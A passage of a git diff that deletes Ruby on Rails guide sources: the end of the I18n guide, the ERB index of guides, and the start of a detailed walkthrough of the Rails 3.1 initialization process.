-
-h5. Active Support Methods
-
-* +Array#to_sentence+ uses format settings as given in the "support.array":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30 scope.
-
-h3. Customize your I18n Setup
-
-h4. Using Different Backends
-
-For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_ [3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.
-
-That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:
-
-<ruby>
-I18n.backend = Globalize::Backend::Static.new
-</ruby>
-
-You can also use the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends. For example, you could use the Active Record backend and fall back to the (default) Simple backend:
-
-<ruby>
-I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend)
-</ruby>
-
-h4. Using Different Exception Handlers
-
-The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:
-
-<ruby>
-MissingTranslationData # no translation was found for the requested key
-InvalidLocale # the locale set to I18n.locale is invalid (e.g. nil)
-InvalidPluralizationData # a count option was passed but the translation data is not suitable for pluralization
-MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed
-ReservedInterpolationKey # the translation contains a reserved interpolation variable name (i.e. one of: scope, default)
-UnknownFileType # the backend does not know how to handle a file type that was added to I18n.load_path
-</ruby>
-
-The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for +MissingTranslationData+ exceptions. When a +MissingTranslationData+ exception has been caught, it will return the exception’s error message string containing the missing key/scope.
-
-The reason for this is that during development you'd usually want your views to still render even though a translation is missing.
-
-In other contexts you might want to change this behaviour, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module:
-
-<ruby>
-module I18n
- def self.just_raise_that_exception(*args)
- raise args.first
- end
-end
-
-I18n.exception_handler = :just_raise_that_exception
-</ruby>
-
-This would re-raise all caught exceptions including +MissingTranslationData+.
-
-Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method +#t+ (as well as +#translate+). When a +MissingTranslationData+ exception occurs in this context, the helper wraps the message into a span with the CSS class +translation_missing+.
-
-To do so, the helper forces +I18n#translate+ to raise exceptions no matter what exception handler is defined by setting the +:raise+ option:
-
-<ruby>
-I18n.t :foo, :raise => true # always re-raises exceptions from the backend
-</ruby>
-
-h3. Conclusion
-
-At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project.
-
-If you find anything missing or wrong in this guide, please file a ticket on our "issue tracker":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview. If you want to discuss certain portions or have questions, please sign up to our "mailing list":http://groups.google.com/group/rails-i18n.
-
-
-h3. Contributing to Rails I18n
-
-I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core.
-
-Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our "mailing list":http://groups.google.com/group/rails-i18n!)
-
-If you find your own locale (language) missing from our "example translations data":https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale repository for Ruby on Rails, please "_fork_":https://github.com/guides/fork-a-project-and-submit-your-modifications the repository, add your data and send a "pull request":https://github.com/guides/pull-requests.
-
-
-h3. Resources
-
-* "rails-i18n.org":http://rails-i18n.org - Homepage of the rails-i18n project. You can find lots of useful resources on the "wiki":http://rails-i18n.org/wiki.
-* "Google group: rails-i18n":http://groups.google.com/group/rails-i18n - The project's mailing list.
-* "Github: rails-i18n":https://github.com/svenfuchs/rails-i18n/tree/master - Code repository for the rails-i18n project. Most importantly you can find lots of "example translations":https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for Rails that should work for your application in most cases.
-* "Github: i18n":https://github.com/svenfuchs/i18n/tree/master - Code repository for the i18n gem.
-* "Lighthouse: rails-i18n":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview - Issue tracker for the rails-i18n project.
-* "Lighthouse: i18n":http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview - Issue tracker for the i18n gem.
-
-
-h3. Authors
-
-* "Sven Fuchs":http://www.workingwithrails.com/person/9963-sven-fuchs (initial author)
-* "Karel Minařík":http://www.workingwithrails.com/person/7476-karel-mina-k
-
-If you found this guide useful, please consider recommending its authors on "workingwithrails":http://www.workingwithrails.com.
-
-
-h3. Footnotes
-
-fn1. Or, to quote "Wikipedia":http://en.wikipedia.org/wiki/Internationalization_and_localization: _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
-
-fn2. Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.
-
-fn3. One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.
diff --git a/railties/guides/source/index.html.erb b/railties/guides/source/index.html.erb
deleted file mode 100644
index c9a8c4fa5c..0000000000
--- a/railties/guides/source/index.html.erb
+++ /dev/null
@@ -1,191 +0,0 @@
-<% content_for :page_title do %>
-Ruby on Rails Guides
-<% end %>
-
-<% content_for :header_section do %>
-<h2>Ruby on Rails Guides (<%= ENV['RAILS_VERSION'] || 'edge' %>)</h2>
-
-<% if @edge %>
-<p>
- These are <b>Edge Guides</b>, based on the current
- <a href="https://github.com/rails/rails/tree/master">master branch</a>.
-</p>
-<p>
- If you are looking for the ones for the stable version please check
- <a href="http://guides.rubyonrails.org">http://guides.rubyonrails.org</a> instead.
-</p>
-<% else %>
-<p>
- These are the new guides for Rails 3. The guides for Rails 2.3 are still available
- at <a href="http://guides.rubyonrails.org/v2.3.11/">http://guides.rubyonrails.org/v2.3.11/</a>.
-</p>
-<% end %>
-<p>
- These guides are designed to make you immediately productive with Rails,
- and to help you understand how all of the pieces fit together.
-</p>
-
-<% end %>
-
-<% content_for :index_section do %>
-<div id="subCol">
- <dl>
- <dd class="work-in-progress">Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections to the author.</dd>
- </dl>
-</div>
-<% end %>
-
-<h3>Start Here</h3>
-
-<dl>
-<%= guide('Getting Started with Rails', 'getting_started.html') do %>
- <p>Everything you need to know to install Rails and create your first application.</p>
-<% end %>
-</dl>
-
-<h3>Models</h3>
-
-<dl>
-<%= guide("Rails Database Migrations", 'migrations.html') do %>
- <p>This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.</p>
-<% end %>
-
-<%= guide("Active Record Validations and Callbacks", 'active_record_validations_callbacks.html') do %>
- <p>This guide covers how you can use Active Record validations and callbacks.</p>
-<% end %>
-
-<%= guide("Active Record Associations", 'association_basics.html') do %>
- <p>This guide covers all the associations provided by Active Record.</p>
-<% end %>
-
-<%= guide("Active Record Query Interface", 'active_record_querying.html') do %>
- <p>This guide covers the database query interface provided by Active Record.</p>
-<% end %>
-</dl>
-
-<h3>Views</h3>
-
-<dl>
-<%= guide("Layouts and Rendering in Rails", 'layouts_and_rendering.html') do %>
- <p>This guide covers the basic layout features of Action Controller and Action View, including rendering and redirecting, using content_for blocks, and working with partials.</p>
-<% end %>
-
-<%= guide("Action View Form Helpers", 'form_helpers.html', :work_in_progress => true) do %>
- <p>Guide to using built-in Form helpers.</p>
-<% end %>
-</dl>
-
-<h3>Controllers</h3>
-
-<dl>
-<%= guide("Action Controller Overview", 'action_controller_overview.html') do %>
- <p>This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.</p>
-<% end %>
-
-<%= guide("Rails Routing from the Outside In", 'routing.html') do %>
- <p>This guide covers the user-facing features of Rails routing. If you want to understand how to use routing in your own Rails applications, start here.</p>
-<% end %>
-</dl>
-
-<h3>Digging Deeper</h3>
-
-<dl>
-
-<%= guide("Active Support Core Extensions", 'active_support_core_extensions.html') do %>
- <p>This guide documents the Ruby core extensions defined in Active Support.</p>
-<% end %>
-
-<%= guide("Rails Internationalization API", 'i18n.html') do %>
- <p>This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country and so on.</p>
-<% end %>
-
-<%= guide("Action Mailer Basics", 'action_mailer_basics.html', :work_in_progress => true) do %>
- <p>This guide describes how to use Action Mailer to send and receive emails.</p>
-<% end %>
-
-<%= guide("Testing Rails Applications", 'testing.html', :work_in_progress => true) do %>
- <p>This is a rather comprehensive guide to doing both unit and functional tests in Rails. It covers everything from &quot;What is a test?&quot; to the testing APIs. Enjoy.</p>
-<% end %>
-
-<%= guide("Securing Rails Applications", 'security.html') do %>
- <p>This guide describes common security problems in web applications and how to avoid them with Rails.</p>
-<% end %>
-
-<%= guide("Debugging Rails Applications", 'debugging_rails_applications.html') do %>
- <p>This guide describes how to debug Rails applications. It covers the different ways of achieving this and how to understand what is happening "behind the scenes" of your code.</p>
-<% end %>
-
-<%= guide("Performance Testing Rails Applications", 'performance_testing.html') do %>
- <p>This guide covers the various ways of performance testing a Ruby on Rails application.</p>
-<% end %>
-
-<%= guide("Configuring Rails Applications", 'configuring.html') do %>
- <p>This guide covers the basic configuration settings for a Rails application.</p>
-<% end %>
-
-<%= guide("Rails Command Line Tools and Rake tasks", 'command_line.html') do %>
- <p>This guide covers the command line tools and rake tasks provided by Rails.</p>
-<% end %>
-
-<%= guide("Caching with Rails", 'caching_with_rails.html', :work_in_progress => true) do %>
- <p>Various caching techniques provided by Rails.</p>
-<% end %>
-
-<%= guide('Asset Pipeline', 'asset_pipeline.html') do %>
- <p>This guide documents the asset pipeline.</p>
-<% end %>
-</dl>
-
-<h3>Extending Rails</h3>
-
-<dl>
- <%= guide("The Basics of Creating Rails Plugins", 'plugins.html', :work_in_progress => true) do %>
- <p>This guide covers how to build a plugin to extend the functionality of Rails.</p>
- <% end %>
-
- <%= guide("Rails on Rack", 'rails_on_rack.html') do %>
- <p>This guide covers Rails integration with Rack and interfacing with other Rack components.</p>
- <% end %>
-
- <%= guide("Creating and Customizing Rails Generators", 'generators.html') do %>
- <p>This guide covers the process of adding a brand new generator to your extension
- or providing an alternative to an element of a built-in Rails generator (such as
- providing alternative test stubs for the scaffold generator).</p>
- <% end %>
-</dl>
-
-<h3>Contributing to Ruby on Rails</h3>
-
-<dl>
- <%= guide("Contributing to Ruby on Rails", 'contributing_to_ruby_on_rails.html') do %>
- <p>Rails is not &quot;somebody else's framework.&quot; This guide covers a variety of ways that you can get involved in the ongoing development of Rails.</p>
- <% end %>
-
- <%= guide('API Documentation Guidelines', 'api_documentation_guidelines.html') do %>
- <p>This guide documents the Ruby on Rails API documentation guidelines.</p>
- <% end %>
-
- <%= guide('Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html') do %>
- <p>This guide documents the Ruby on Rails guides guidelines.</p>
- <% end %>
-</dl>
-
-<h3>Release Notes</h3>
-
-<dl>
-<%= guide("Ruby on Rails 3.1 Release Notes", '3_1_release_notes.html') do %>
- <p>Release notes for Rails 3.1.</p>
-<% end %>
-
-<%= guide("Ruby on Rails 3.0 Release Notes", '3_0_release_notes.html') do %>
- <p>Release notes for Rails 3.0.</p>
-<% end %>
-
-<%= guide("Ruby on Rails 2.3 Release Notes", '2_3_release_notes.html') do %>
- <p>Release notes for Rails 2.3.</p>
-<% end %>
-
-<%= guide("Ruby on Rails 2.2 Release Notes", '2_2_release_notes.html') do %>
- <p>Release notes for Rails 2.2.</p>
-<% end %>
-</dl>
diff --git a/railties/guides/source/initialization.textile b/railties/guides/source/initialization.textile
deleted file mode 100644
index 32b41fdd2c..0000000000
--- a/railties/guides/source/initialization.textile
+++ /dev/null
@@ -1,1116 +0,0 @@
-h2. The Rails Initialization Process
-
-This guide explains the internals of the initialization process in Rails as of Rails 3.1. It is an extremely in-depth guide and recommended for advanced Rails developers.
-
-* Using +rails server+
-* Using Passenger
-
-endprologue.
-
-This guide goes through every single file, class and method call that is required to boot up the Ruby on Rails stack for a default Rails 3.1 application, explaining each part in detail a long the way. For this guide, we will be focusing on how the two most common methods (+rails server+ and Passenger) boot a Rails application.
-
-NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified.
-
-h3. Launch!
-
-As of Rails 3, +script/server+ has become +rails server+. This was done to centralize all rails related commands to one common file.
-
-h4. +bin/rails+
-
-The actual +rails+ command is kept in _bin/rails_ at the and goes like this:
-
-<ruby>
-#!/usr/bin/env ruby
-
-begin
- require "rails/cli"
-rescue LoadError
- railties_path = File.expand_path('../../railties/lib', __FILE__)
- $:.unshift(railties_path)
- require "rails/cli"
-end
-</ruby>
-
-This file will attempt to load +rails/cli+ and if it cannot find it then add the +railties/lib+ path to the load path (+$:+) and will then try to require it again.
-
-h4. +railties/lib/rails/cli.rb+
-
-This file looks like this:
-
-<ruby>
-require 'rbconfig'
-require 'rails/script_rails_loader'
-
-# If we are inside a Rails application this method performs an exec and thus
-# the rest of this script is not run.
-Rails::ScriptRailsLoader.exec_script_rails!
-
-require 'rails/ruby_version_check'
-Signal.trap("INT") { puts; exit }
-
-if ARGV.first == 'plugin'
- ARGV.shift
- require 'rails/commands/plugin_new'
-else
- require 'rails/commands/application'
-end
-</ruby>
-
-The +rbconfig+ file here is out of Ruby's standard library and provides us with the +RbConfig+ class which contains useful information dependent on how Ruby was compiled. We'll see this in use in +railties/lib/rails/script_rails_loader+.
-
-<ruby>
-require 'pathname'
-
-module Rails
- module ScriptRailsLoader
- RUBY = File.join(*RbConfig::CONFIG.values_at("bindir", "ruby_install_name")) + RbConfig::CONFIG["EXEEXT"]
- SCRIPT_RAILS = File.join('script', 'rails')
- ...
-
- end
-end
-</ruby>
-
-The +rails/script_rails_loader+ file uses +RbConfig::Config+ to gather up the +bin_dir+ and +ruby_install_name+ values for the configuration which will result in a path such as +/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/bin/ruby+, which is the default path on Mac OS X. If you're running Windows the path may be something such as +C:/Ruby192/bin/ruby+. Anyway, the path on your system may be different, but the point of this is that it will point at the known ruby executable location for your install. The +RbConfig::CONFIG["EXEEXT"]+ will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in +exec_script_rails!+. As for the +SCRIPT_RAILS+ constant, we'll see that when we get to the +in_rails_application?+ method.
-
-Back in +rails/cli+, the next line is this:
-
-<ruby>
-Rails::ScriptRailsLoader.exec_script_rails!
-</ruby>
-
-This method is defined in +rails/script_rails_loader+ like this:
-
-<ruby>
-def self.exec_script_rails!
- cwd = Dir.pwd
- return unless in_rails_application? || in_rails_application_subdirectory?
- exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application?
- Dir.chdir("..") do
- # Recurse in a chdir block: if the search fails we want to be sure
- # the application is generated in the original working directory.
- exec_script_rails! unless cwd == Dir.pwd
- end
-rescue SystemCallError
- # could not chdir, no problem just return
-end
-</ruby>
-
-This method will first check if the current working directory (+cwd+) is a Rails application or is a subdirectory of one. The way to determine this is defined in the +in_rails_application?+ method like this:
-
-<ruby>
-def self.in_rails_application?
- File.exists?(SCRIPT_RAILS)
-end
-</ruby>
-
-The +SCRIPT_RAILS+ constant defined earlier is used here, with +File.exists?+ checking for its presence in the current directory. If this method returns +false+, then +in_rails_application_subdirectory?+ will be used:
-
-<ruby>
-def self.in_rails_application_subdirectory?(path = Pathname.new(Dir.pwd))
- File.exists?(File.join(path, SCRIPT_RAILS)) || !path.root? && in_rails_application_subdirectory?(path.parent)
-end
-</ruby>
-
-This climbs the directory tree until it reaches a path which contains a +script/rails+ file. If a directory is reached which contains this file then this line will run:
-
-<ruby>
-exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application?
-</ruby>
-
-This is effectively the same as doing +ruby script/rails [arguments]+. Where +[arguments]+ at this point in time is simply "server".
-
-h4. +script/rails+
-
-This file looks like this:
-
-<ruby>
-APP_PATH = File.expand_path('../../config/application', __FILE__)
-require File.expand_path('../../config/boot', __FILE__)
-require 'rails/commands'
-</ruby>
-
-The +APP_PATH+ constant here will be used later in +rails/commands+. The +config/boot+ file that +script/rails+ references is the +config/boot.rb+ file in our application which is responsible for loading Bundler and setting it up.
-
-h4. +config/boot.rb+
-
-+config/boot.rb+ contains this:
-
-<ruby>
-require 'rubygems'
-
-# Set up gems listed in the Gemfile.
-gemfile = File.expand_path('../../Gemfile', __FILE__)
-begin
- ENV['BUNDLE_GEMFILE'] = gemfile
- require 'bundler'
- Bundler.setup
-rescue Bundler::GemNotFound => e
- STDERR.puts e.message
- STDERR.puts "Try running `bundle install`."
- exit!
-end if File.exist?(gemfile)
-</ruby>
-
-In a standard Rails application, there's a +Gemfile+ which declares all dependencies of the application. +config/boot.rb+ sets +ENV["BUNDLE_GEMFILE"]+ to the location of this file, then requires Bundler and calls +Bundler.setup+ which adds the dependencies of the application (including all the Rails parts) to the load path, making them available for the application to load. The gems that a Rails 3.1 application depends on are as follows:
-
-* abstract (1.0.0)
-* actionmailer (3.1.0.beta)
-* actionpack (3.1.0.beta)
-* activemodel (3.1.0.beta)
-* activerecord (3.1.0.beta)
-* activeresource (3.1.0.beta)
-* activesupport (3.1.0.beta)
-* arel (2.0.7)
-* builder (3.0.0)
-* bundler (1.0.6)
-* erubis (2.6.6)
-* i18n (0.5.0)
-* mail (2.2.12)
-* mime-types (1.16)
-* polyglot (0.3.1)
-* rack (1.2.1)
-* rack-cache (0.5.3)
-* rack-mount (0.6.13)
-* rack-test (0.5.6)
-* rails (3.1.0.beta)
-* railties (3.1.0.beta)
-* rake (0.8.7)
-* sqlite3-ruby (1.3.2)
-* thor (0.14.6)
-* treetop (1.4.9)
-* tzinfo (0.3.23)
-
-h4. +rails/commands.rb+
-
-Once +config/boot.rb+ has finished, the next file that is required is +rails/commands+ which will execute a command based on the arguments passed in. In this case, the +ARGV+ array simply contains +server+ which is extracted into the +command+ variable using these lines:
-
-<ruby>
-aliases = {
- "g" => "generate",
- "c" => "console",
- "s" => "server",
- "db" => "dbconsole",
- "r" => "runner"
-}
-
-command = ARGV.shift
-command = aliases[command] || command
-</ruby>
-
-If we used <tt>s</tt> rather than +server+, Rails will use the +aliases+ defined in the file and match them to their respective commands. With the +server+ command, Rails will run this code:
-
-<ruby>
-when 'server'
- # Change to the application's path if there is no config.ru file in current dir.
- # This allows us to run script/rails server from other directories, but still get
- # the main config.ru and properly set the tmp directory.
- Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exists?(File.expand_path("config.ru"))
-
- require 'rails/commands/server'
- Rails::Server.new.tap { |server|
- # We need to require application after the server sets environment,
- # otherwise the --environment option given to the server won't propagate.
- require APP_PATH
- Dir.chdir(Rails.application.root)
- server.start
- }
-</ruby>
-
-This file will change into the root of the directory (a path two directories back from +APP_PATH+ which points at +config/application.rb+), but only if the +config.ru+ file isn't found. This then requires +rails/commands/server+ which requires +action_dispatch+ and sets up the +Rails::Server+ class.
-
-h4. +actionpack/lib/action_dispatch.rb+
-
-Action Dispatch is the routing component of the Rails framework. It depends on Active Support, +actionpack/lib/action_pack.rb+ and +Rack+ being available. The first thing required here is +active_support+.
-
-h4. +activesupport/lib/active_support.rb+
-
-This file begins with requiring +active_support/lib/active_support/dependencies/autoload.rb+ which redefines Ruby's +autoload+ method to have a little more extra behaviour especially in regards to eager autoloading. Eager autoloading is the loading of all required classes and will happen when the +config.cache_classes+ setting is +true+. The required file also requires another file: +active_support/lazy_load_hooks+
-
-h4. +activesupport/lib/active_support/lazy_load_hooks.rb+
-
-This file defines the +ActiveSupport.on_load+ hook which is used to execute code when specific parts are loaded. We'll see this in use a little later on.
-
-This file begins with requiring +active_support/inflector/methods+.
-
-h4. +activesupport/lib/active_support/inflector/methods.rb+
-
-The +methods.rb+ file is responsible for defining methods such as +camelize+, +underscore+ and +dasherize+ as well as a slew of others. The "+ActiveSupport::Inflector+ documentation":http://api.rubyonrails.org/classes/ActiveSupport/Inflector.html covers them all pretty decently.
-
-In this file there are a lot of lines such as this inside the +ActiveSupport+ module:
-
-<ruby>
-autoload :Inflector
-</ruby>
-
-Due to the overriding of the +autoload+ method, Ruby will know to look for this file at +activesupport/lib/active_support/inflector.rb+ when the +Inflector+ class is first referenced.
-
-The +active_support/lib/active_support/version.rb+ that is also required here simply defines an +ActiveSupport::VERSION+ constant which defines a couple of constants inside this module, the main constant of this is +ActiveSupport::VERSION::STRING+ which returns the current version of ActiveSupport.
-
-The +active_support/lib/active_support.rb+ file simply defines the +ActiveSupport+ module and some autoloads (eager and of the normal variety) for it.
-
-h4. +actionpack/lib/action_dispatch.rb+ cont'd.
-
-Now back to +action_pack/lib/action_dispatch.rb+. The next +require+ in this file is one for +action_pack+, which simply calls +action_pack/version.rb+ which defines +ActionPack::VERSION+ and the constants, much like +ActiveSpport+ does.
-
-After this line, there's a require to +active_model+ which simply defines autoloads for the +ActiveModel+ part of Rails and sets up the +ActiveModel+ module which is used later on.
-
-The last of the requires is to +rack+, which like the +active_model+ and +active_support+ requires before it, sets up the +Rack+ module as well as the autoloads for constants within it.
-
-Finally in +action_dispatch.rb+ the +ActionDispatch+ module and *its* autoloads are declared.
-
-h4. +rails/commands/server.rb+
-
-The +Rails::Server+ class is defined in this file as inheriting from +Rack::Server+. When +Rails::Server.new+ is called, this calls the +initialize+ method in +rails/commands/server.rb+:
-
-<ruby>
-def initialize(*)
- super
- set_environment
-end
-</ruby>
-
-Firstly, +super+ is called which calls the +initialize+ method on +Rack::Server+.
-
-h4. Rack: +lib/rack/server.rb+
-
-+Rack::Server+ is responsible for providing a common server interface for all Rack-based applications, which Rails is now a part of.
-
-The +initialize+ method in +Rack::Server+ simply sets a couple of variables:
-
-<ruby>
-def initialize(options = nil)
- @options = options
- @app = options[:app] if options && options[:app]
-end
-</ruby>
-
-In this case, +options+ will be +nil+ so nothing happens in this method.
-
-After +super+ has finished in +Rack::Server+, we jump back to +rails/commands/server.rb+. At this point, +set_environment+ is called within the context of the +Rails::Server+ object and this method doesn't appear to do much at first glance:
-
-<ruby>
-def set_environment
- ENV["RAILS_ENV"] ||= options[:environment]
-end
-</ruby>
-
-In fact, the +options+ method here does quite a lot. This method is defined in +Rack::Server+ like this:
-
-<ruby>
-def options
- @options ||= parse_options(ARGV)
-end
-</ruby>
-
-Then +parse_options+ is defined like this:
-
-<ruby>
-def parse_options(args)
- options = default_options
-
- # Don't evaluate CGI ISINDEX parameters.
- # http://hoohoo.ncsa.uiuc.edu/cgi/cl.html
- args.clear if ENV.include?("REQUEST_METHOD")
-
- options.merge! opt_parser.parse! args
- options[:config] = ::File.expand_path(options[:config])
- ENV["RACK_ENV"] = options[:environment]
- options
-end
-</ruby>
-
-With the +default_options+ set to this:
-
-<ruby>
-def default_options
- {
- :environment => ENV['RACK_ENV'] || "development",
- :pid => nil,
- :Port => 9292,
- :Host => "0.0.0.0",
- :AccessLog => [],
- :config => "config.ru"
- }
-end
-</ruby>
-
-There is no +REQUEST_METHOD+ key in +ENV+ so we can skip over that line. The next line merges in the options from +opt_parser+ which is defined plainly in +Rack::Server+
-
-<ruby>
-def opt_parser
- Options.new
-end
-</ruby>
-
-The class *is* defined in +Rack::Server+, but is overwritten in +Rails::Server+ to take different arguments. Its +parse!+ method begins like this:
-
-<ruby>
-def parse!(args)
- args, options = args.dup, {}
-
- opt_parser = OptionParser.new do |opts|
- opts.banner = "Usage: rails server [mongrel, thin, etc] [options]"
- opts.on("-p", "--port=port", Integer,
- "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v }
- ...
-</ruby>
-
-This method will set up keys for the +options+ which Rails will then be able to use to determine how its server should run. After +initialize+ has finished, then the +start+ method will launch the server.
-
-h4. +Rails::Server#start+
-
-This method is defined like this:
-
-<ruby>
-def start
- puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
- puts "=> Rails #{Rails.version} application starting in #{Rails.env} on http://#{options[:Host]}:#{options[:Port]}"
- puts "=> Call with -d to detach" unless options[:daemonize]
- trap(:INT) { exit }
- puts "=> Ctrl-C to shutdown server" unless options[:daemonize]
-
- #Create required tmp directories if not found
- %w(cache pids sessions sockets).each do |dir_to_make|
- FileUtils.mkdir_p(Rails.root.join('tmp', dir_to_make))
- end
-
- super
-ensure
- # The '-h' option calls exit before @options is set.
- # If we call 'options' with it unset, we get double help banners.
- puts 'Exiting' unless @options && options[:daemonize]
-end
-</ruby>
-
-This is where the first output of the Rails initialization happens. This method creates a trap for +INT+ signals, so if you +CTRL+C+ the server, it will exit the process. As we can see from the code here, it will create the +tmp/cache+, +tmp/pids+, +tmp/sessions+ and +tmp/sockets+ directories if they don't already exist prior to calling +super+. The +super+ method will call +Rack::Server.start+ which begins its definition like this:
-
-<ruby>
-def start
- if options[:warn]
- $-w = true
- end
-
- if includes = options[:include]
- $LOAD_PATH.unshift(*includes)
- end
-
- if library = options[:require]
- require library
- end
-
- if options[:debug]
- $DEBUG = true
- require 'pp'
- p options[:server]
- pp wrapped_app
- pp app
- end
-end
-</ruby>
-
-In a Rails application, these options are not set at all and therefore aren't used at all. The first line of code that's executed in this method is a call to this method:
-
-<ruby>
-wrapped_app
-</ruby>
-
-This method calls another method:
-
-<ruby>
-@wrapped_app ||= build_app app
-</ruby>
-
-Then the +app+ method here is defined like so:
-
-<ruby>
-def app
- @app ||= begin
- if !::File.exist? options[:config]
- abort "configuration #{options[:config]} not found"
- end
-
- app, options = Rack::Builder.parse_file(self.options[:config], opt_parser)
- self.options.merge! options
- app
- end
-end
-</ruby>
-
-The +options[:config]+ value defaults to +config.ru+ which contains this:
-
-<ruby>
-# This file is used by Rack-based servers to start the application.
-
-require ::File.expand_path('../config/environment', __FILE__)
-run YourApp::Application
-</ruby>
-
-
-The +Rack::Builder.parse_file+ method here takes the content from this +config.ru+ file and parses it using this code:
-
-<ruby>
-app = eval "Rack::Builder.new {( " <plus> cfgfile <plus> "\n )}.to_app",
- TOPLEVEL_BINDING, config
-</ruby>
-
-The +initialize+ method will take the block here and execute it within an instance of +Rack::Builder+. This is where the majority of the initialization process of Rails happens. The chain of events that this simple line sets off will be the focus of a large majority of this guide. The +require+ line for +config/environment.rb+ in +config.ru+ is the first to run:
-
-<ruby>
-require ::File.expand_path('../config/environment', __FILE__)
-</ruby>
-
-h4. +config/environment.rb+
-
-This file is the common file required by +config.ru+ (+rails server+) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup.
-
-This file begins with requiring +config/application.rb+.
-
-h4. +config/application.rb+
-
-This file requires +config/boot.rb+, but only if it hasn't been required before, which would be the case in +rails server+ but *wouldn't* be the case with Passenger.
-
-Then the fun begins!
-
-h3. Loading Rails
-
-The next line in +config/application.rb+ is:
-
-<ruby>
-require 'rails/all'
-</ruby>
-
-h4. +railties/lib/rails/all.rb+
-
-This file is responsible for requiring all the individual parts of Rails like so:
-
-<ruby>
-require "rails"
-
-%w(
- active_record
- action_controller
- action_mailer
- active_resource
- rails/test_unit
-).each do |framework|
- begin
- require "#{framework}/railtie"
- rescue LoadError
- end
-end
-</ruby>
-
-First off the line is the +rails+ require itself.
-
-h4. +railties/lib/rails.rb+
-
-This file is responsible for the initial definition of the +Rails+ module and, rather than defining the autoloads like +ActiveSupport+, +ActionDispatch+ and so on, it actually defines other functionality. Such as the +root+, +env+ and +application+ methods which are extremely useful in Rails 3 applications.
-
-However, before all that takes place the +rails/ruby_version_check+ file is required first.
-
-h4. +railties/lib/rails/ruby_version_check.rb+
-
-This file simply checks if the Ruby version is less than 1.8.7 or is 1.9.1 and raises an error if that is the case. Rails 3 simply will not run on earlier versions of Ruby than 1.8.7 or 1.9.1.
-
-NOTE: You should always endeavor to run the latest version of Ruby with your Rails applications. The benefits are many, including security fixes and the like, and very often there is a speed increase associated with it. The caveat is that you could have code that potentially breaks on the latest version, which should be fixed to work on the latest version rather than kept around as an excuse not to upgrade.
-
-h4. +active_support/core_ext/kernel/reporting.rb+
-
-This is the first of the many Active Support core extensions that come with Rails. This one in particular defines methods in the +Kernel+ module which is mixed in to the +Object+ class so the methods are available on +main+ and can therefore be called like this:
-
-<ruby>
-silence_warnings do
- # some code
-end
-</ruby>
-
-These methods can be used to silence STDERR responses and the +silence_stream+ allows you to also silence other streams. Additionally, this mixin allows you to suppress exceptions and capture streams. For more information see the "Silencing Warnings, Streams, and Exceptions":http://guides.rubyonrails.org/active_support_core_extensions.html#silencing-warnings-streams-and-exceptions section from the Active Support Core Extensions Guide.
-
-h4. +active_support/core_ext/logger.rb+
-
-The next file that is required is another Active Support core extension, this time to the +Logger+ class. This begins by defining the +around_[level]+ helpers for the +Logger+ class as well as other methods such as a +datetime_format+ getter and setter for the +formatter+ object tied to a +Logger+ object.
-
-For more information see the "Extensions to Logger":http://guides.rubyonrails.org/active_support_core_extensions.html#extensions-to-logger section from the Active Support Core Extensions Guide.
-
-h4. +railties/lib/rails/application.rb+
-
-The next file required by +railties/lib/rails.rb+ is +application.rb+. This file defines the +Rails::Application+ constant which the application's class defined in +config/application.rb+ in a standard Rails application depends on. Before the +Rails::Application+ class is defined however, there's some other files that get required first.
-
-The first of these is +active_support/core_ext/hash/reverse_merge+ which can be "read about in the Active Support Core Extensions guide":http://guides.rubyonrails.org/active_support_core_extensions.html#merging under the "Merging" section.
-
-h4. +active_support/file_update_checker.rb+
-
